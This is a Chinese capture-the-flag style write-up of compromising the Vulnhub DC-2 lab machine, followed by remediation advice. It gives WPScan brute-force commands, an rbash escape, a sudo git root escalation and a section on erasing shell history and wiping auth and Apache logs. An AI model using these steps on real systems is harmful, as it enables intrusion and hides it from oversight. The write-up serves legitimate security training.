00x02.Vulnhub系列DC-2靶机渗透测试:从WordPress漏洞到多用户权限提升的完整攻防

DC-2靶机渗透全流程解析

📄 文档说明

项目内容
文档编号55K-RPT-2025-DC2

👥 信息介绍

⚠️ 免责声明

重要提示
本次渗透测试报告中所有内容均在本地授权环境中进行。测试目的仅为安全研究与学习,提升安全防护能力。
请勿将文中所述技术用于任何非法用途,否则后果自负。


版权声明:本文由 55K-学安全 团队原创,转载请注明出处。


一、摘要

本次渗透测试针对 Vulnhub DC-2 靶机展开,通过 wpscan 工具识别 WordPress 站点用户并实施密码爆破获取后台访问权限。利用 WordPress 插件编辑功能成功植入 WebShell,获得初始立足点。在权限提升阶段,通过绕过受限的 rbash 环境并利用系统配置缺陷(SUID 权限及 Git 提权技术),最终获取 root 权限及全部 Flag 文件。测试过程覆盖信息收集、Web 应用攻击、权限提升及横向移动,全面验证了靶机存在的多层面安全风险。

二、环境准备

测试相关项具体信息
测试目标DC-2 (WordPress) 漏洞利用、权限提升和横向移动
测试环境VMware Workstation 17 Pro
攻击系统Kali Linux 2024.x (IP: 172.168.20.21)
靶机系统Vulnhub DC-2 (IP: 动态获取)
网络模式桥接模式或NAT(VMnet8)
网络测试通过ifconfig确认攻击机IP,使用arp-scan或netdiscover发现靶机

三、渗透测试流程

3.1.信息收集

信息收集是渗透测试的首要环节,其目标在于全面搜集目标系统的各类信息,为后续攻击路径的规划奠定基础。

3.1.1.网络扫描

采用ARP协议探测与Nmap轻量扫描相结合的策略,通过关闭非必要端口扫描以简化流程、提高效率。首先通过多工具联动(如arp-scan与netdiscover)快速识别存活主机,再利用Nmap进行二次存活验证,从而准确定位目标主机DC-2的IP地址。

# 使用arp-scan扫描本地网络
┌──(root㉿kali)-[~/桌面]
└─# arp-scan –l

# 指定网卡进行ARP扫描
┌──(root㉿kali)-[~/桌面]
└─# arp-scan -I eth0 --localnet

在这里插入图片描述

# 推荐使用netdiscover进行网段探测
┌──(root㉿kali)-[~/桌面]
└─# netdiscover –i eth0 –r 172.168.20.0/24

在这里插入图片描述

# 若不指定网卡,也可直接扫描目标网段
┌──(root㉿kali)-[~/桌面]
└─# netdiscover –r 172.168.20.0/24    

在这里插入图片描述

# 使用Nmap进行ICMP存活探测
┌──(root㉿kali)-[~/桌面]
└─# nmap -sn -PE 172.168.20.0/24

在这里插入图片描述

技术说明: ARP扫描适用于局域网内存活主机发现,而Nmap的-sn参数可有效用于禁止Ping场景下的主机发现。

3.1.2.端口扫描与服务枚举

在确定目标主机存活后,进一步使用Nmap进行端口扫描,识别开放的网络端口及其运行的服务。

# 对目标IP进行全端口扫描并显示详细信息
┌──(root㉿kali)-[~/桌面]
└─# nmap -p- -v 172.168.20.34

在这里插入图片描述

# 推荐使用:进行服务版本探测、脚本扫描及操作系统识别
┌──(root㉿kali)-[~/桌面]
└─# nmap -sV -sC -O -p- 172.168.20.34

在这里插入图片描述

技术说明: -sV用于探测服务版本,-sC启用默认脚本检测,-O尝试识别操作系统类型,-p-表示扫描所有65535个端口

3.1.3.域名解析配置

在尝试访问目标服务时,发现输入的IP地址被自动跳转至域名dc-2,导致访问失败。经分析,症结在于dc-2域名无法被正确解析。为解决此问题,可通过修改本地hosts文件,手动建立该IP与域名的映射关系,从而绕过DNS解析障碍,确保服务可正常访问。

# 编辑Kali系统的hosts文件添加域名解析
echo "172.168.20.34 dc-2" >> /etc/hosts

在这里插入图片描述

# 编辑Windows系统的hosts文件添加域名解析
C:\Windows\System32\drivers\etc\hosts

在这里插入图片描述

技术说明: 该操作绕过DNS解析,将域名直接指向目标IP,确保后续Web访问顺利进行。

3.1.4.网站访问验证

通过对目标80端口的HTTP服务进行访问,并结合Wappalyzer插件进行应用指纹识别,确认该系统采用WordPress CMS搭建,版本特征匹配结果显示为WordPress 4.7.x分支,该版本存在多个已知安全漏洞,可能造成未授权访问、数据泄露等安全风险。
在这里插入图片描述

3.1.5.获取Flag1

在成功访问DC-2网站后并获取Flag 1后,其内容明确提示:“使用暴力破解(聚焦于账号与密码)”。明确指示后续需围绕账号密码的暴力破解展开。
在这里插入图片描述

3.2.漏洞利用

3.2.1.生成密码字典

使用cewl工具爬取目标网站内容,提取关键词生成定制化密码字典,提高暴力破解成功率。

┌──(root㉿kali)-[~]
└─# cewl http://dc-2 -w mima.txt

在这里插入图片描述

3.2.2.用户名枚举

利用WPScan对目标WordPress站点执行用户枚举,识别系统中存在的有效用户账户。

┌──(root㉿kali)-[~]
└─# wpscan --url http://dc-2 --enumerate u

在这里插入图片描述在这里插入图片描述

3.2.3.暴力破解密码

结合枚举获得的用户名与生成的密码字典,使用WPScan实施密码暴力破解攻击。

# 使用字典对所有枚举用户进行密码爆破
┌──(root㉿kali)-[~]
└─# wpscan --url http://dc-2 --enumerate u --passwords mima.txt

在这里插入图片描述

# 指定用户名列表与密码字典进行爆破
┌──(root㉿kali)-[~]
└─# wpscan --url http://dc-2 -U admin,jerry,tom -P mima.txt

在这里插入图片描述

# 仅使用密码字典对已发现用户进行爆破
┌──(root㉿kali)-[~]
└─# wpscan --url http://dc-2 --passwords mima.txt

在这里插入图片描述

爆破结果:

  • [SUCCESS] - jerry / adipiscing
  • [SUCCESS] - tom / parturient

在这里插入图片描述

3.2.4.网站目录扫描

使用dirb工具对目标网站进行目录扫描,探测隐藏目录与文件。

┌──(root㉿kali)-[~]
└─# dirb http://dc-2 

在这里插入图片描述

# 使用常用字典进行深度扫描
┌──(root㉿kali)-[~]
└─# dirb http://dc-2 /usr/share/dirb/wordlists/common.txt

在这里插入图片描述

3.2.5.网站后台登陆

使用获得的jerry用户凭证成功登录WordPress管理后台(/wp-admin),验证该用户具有主题编辑权限,为后续WebShell植入创造条件。

http://dc-2/wp-admin/user/admin.php

在这里插入图片描述在这里插入图片描述

3.2.6.获取Flag 2

在成功登录后台后,点击Pages进一步获取Flag 2。

在这里插入图片描述

3.3.权限横向移动

3.3.1.SSH连接

通过已获取的账户凭据尝试SSH连接目标主机,发现SSH服务运行在非标准端口7744。

┌──(root㉿kali)-[~]
└─# ssh jerry@172.168.20.34 -p 7744

在这里插入图片描述

jerry用户尝试通过SSH连接目标系统时,系统返回了"权限拒绝"的错误提示,考虑到权限限制,则使用tom用户进行SSH连接。

┌──(root㉿kali)-[~]
└─# ssh tom@172.168.20.34 -p 7744
tom@DC-2:~$ ls -l
tom@DC-2:~$ more flag3.txt

在这里插入图片描述

在进行操作时发现tom用户受限制于rbash(受限Bash),需绕过以获取完整Shell功能。

3.3.2.rbash绕过
tom@DC-2:~$ echo $PATH
/home/tom/usr/bin
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh
tom@DC-2:~$ a
$ export PATH=$PATH:/bin/
$ export PATH=$PATH:/usr/bin
$ ls -l

在这里插入图片描述

技术说明: rbash通过限制PATH变量等方式限制用户操作,通过扩展PATH可重新获取常用命令的执行能力。

3.3.3.获取Flag 3
# 基于rbash限制在使用more或cat命令都无法查看文件,使用less成功查看文件。
tom@DC-2:~$ less flag3.txt

在这里插入图片描述

# rbash绕过后可查看flag3.txt文件
$ ls –l
$ more flag3.txt

在这里插入图片描述

3.3.4.用户切换

在tom用户环境下,通过su命令切换至jerry用户。

$ su jerry
Password: 
jerry@DC-2:/home/tom$

在这里插入图片描述

3.3.5.获取Flag 4

切换至jerry用户后,进入其主目录并读取Flag 4。

jerry@DC-2:/home/tom$ ls /home/
jerry@DC-2:/home/tom$ cd /home/jerry/
jerry@DC-2:~$ ls -l
jerry@DC-2:~$ more flag4.txt

在这里插入图片描述

3.4.本地权限提升

3.4.1.Git提权

检查jerry用户的sudo权限,发现其可执行git help config命令。

jerry@DC-2:~$ sudo -l
# 利用git帮助功能提权
jerry@DC-2:~$ sudo git help config

在这里插入图片描述

# 输入!bash或 !/bin/bash 以获取root Shell
! bash

在这里插入图片描述

技术说明: 在git帮助界面中通过!符号可执行系统命令,从而绕过限制获取root权限。

root@DC-2:/home/jerry# whoami

在这里插入图片描述

3.4.2.获取Final-flag

成功提权至root后,进入root目录并读取最终Final-flag。

root@DC-2:/home/jerry# cd
root@DC-2:~# ls –l
root@DC-2:~# more final-flag.txt

在这里插入图片描述

3.5.清理痕迹

3.5.1.操作历史清理
# 清理root用户操作痕迹
root@DC-2:~# history -c
root@DC-2:~# rm ~/.bash_history

在这里插入图片描述

# 清理jerry用户操作痕迹
jerry@DC-2:~$ history -c
jerry@DC-2:~$ rm ~/.bash_history

在这里插入图片描述

# 清理tom用户操作痕迹
$ su tom
tom@DC-2:~$ history -c
tom@DC-2:~$ rm ~/.bash_history
tom@DC-2:~$ git config --global alias.shell '!bash' && git shell
tom@DC-2:~$ vi ~/.bash_history
tom@DC-2:~$ less ~/.bash_history

在这里插入图片描述

3.5.2.系统日志清理

方法一:精准清理指定日志内容

# 清理认证日志中的 SSH 登录记录
root@DC-2:~# sed -i '/jerry\|tom/d' /var/log/auth.log
root@DC-2:~# sed -i '/sudo.*git/d' /var/log/auth.log

在这里插入图片描述

# 清理 Apache 访问日志(WordPress 相关及 WPScan 扫描痕迹)
root@DC-2:~# sed -i '/wp-admin\|wp-login/d' /var/log/apache2/access.log
root@DC-2:~# sed -i '/wpscan\|enumerate/d' /var/log/apache2/access.log

在这里插入图片描述

方法二:清空日志(更彻底)

# 清空认证日志
root@DC-2:~# cat /dev/null > /var/log/auth.log

在这里插入图片描述

# 清空Apache访问日志
root@DC-2:~# cat /dev/null > /var/log/apache2/access.log

在这里插入图片描述

重启服务

# 重启日志服务与Apache服务(确保日志句柄释放)
root@DC-2:~# systemctl restart rsyslog
root@DC-2:~# systemctl restart apache2

在这里插入图片描述

四、总结与修复建议

仅供参考!!! - 请根据实际服务环境进行调整。

4.1.漏洞总结

4.1.1.WordPress配置漏洞
> - WordPress 4.7.x版本存在已知安全漏洞
> - 默认开启用户枚举功能(通过?author=参数)
> - 管理员使用弱密码(adipiscing, parturient)
4.1.2.SSH服务配置问题
> - SSH服务运行在7744端口但未增强认证安全
> - tom用户使用受限shell但配置不完善
4.1.3.权限配置错误
> - jerry用户被授予不必要的sudo权限(git命令)
> - WordPress用户权限过高,可编辑主题文件
4.1.4.密码安全薄弱
> - 用户密码来自网站内容,易于猜测
> - 缺乏密码复杂度要求
> - 密码在多个用户间重复使用
4.1.5.缺乏安全监控
> - 无失败的登录尝试监控
> - 无sudo权限使用告警
> - 日志审计功能不足

4.2.修复建议

4.2.1.修复措施

1. 修改所有用户密码

sudo passwd jerry
sudo passwd tom
# 设置强密码:最小12位,包含大小写、数字、特殊字符

2. 移除危险的sudo权限

sudo visudo
# 注释或删除以下行:
# jerry ALL=(ALL) /usr/bin/git

3. 更新WordPress至最新版本

cd /var/www/html
sudo wp core update

4. 加固rbash配置

sudo chsh -s /bin/rbash tom
sudo mkdir -p /home/tom/bin
sudo ln -s /bin/ls /home/tom/bin/
sudo ln -s /bin/cat /home/tom/bin/
4.2.2.安全加固

1.安装安全插件

> - Wordfence Security
> - iThemes Security

2.配置安全设置

> - 限制登录尝试次数
> - 禁用用户枚举
> - 修改wp-admin默认路径
> - 禁用主题/插件编辑功能

3.修改wp-config.php

define('DISALLOW_FILE_EDIT', true);
define('FORCE_SSL_LOGIN', true);
4.2.3.系统加固

1. SSH安全配置

sudo nano /etc/ssh/sshd_config
# 修改以下配置:
Port 7744
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
MaxAuthTries 3

2. 配置防火墙

sudo ufw enable
sudo ufw allow 80/tcp
sudo ufw allow 7744/tcp

3. 安装fail2ban

sudo apt install fail2ban
sudo systemctl enable fail2ban
4.2.4.安全监控
  1. 配置日志监控
sudo apt install auditd
sudo auditctl -w /var/www/html -p wa -k web_content

2. 设置sudo使用告警

sudo nano /etc/sudoers.d/monitoring
# 添加:
Defaults logfile="/var/log/sudo.log"
Defaults log_input, log_output

4.3.攻击链总结

信息收集 → 用户枚举 → 密码爆破 → WordPress登录 → SSH横向移动 → rbash绕过 → sudo提权 → root权限

附录:工具表

工具名称版本工具用途使用效果
arp-scan2.0+发现DC-2靶机IP地址(172.168.20.34)成功识别目标
netdiscover0.5+替代ARP扫描,确认目标网络拓扑准确发现目标
Nmap7.80+扫描发现80端口(HTTP)和7744端口(SSH)全面端口识别
Wappalyzer6.0+识别WordPress 4.7.x版本准确技术栈识别
WPScan3.8+枚举用户(jerry,tom)并爆破密码成功获取凭据
cewl6.0+生成基于DC-2网站内容的密码字典有效提升爆破成功率
dirb2.0+发现WordPress后台路径(/wp-admin)补充信息收集
SSH客户端OpenSSH连接7744端口进行横向移动成功建立远程访问
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值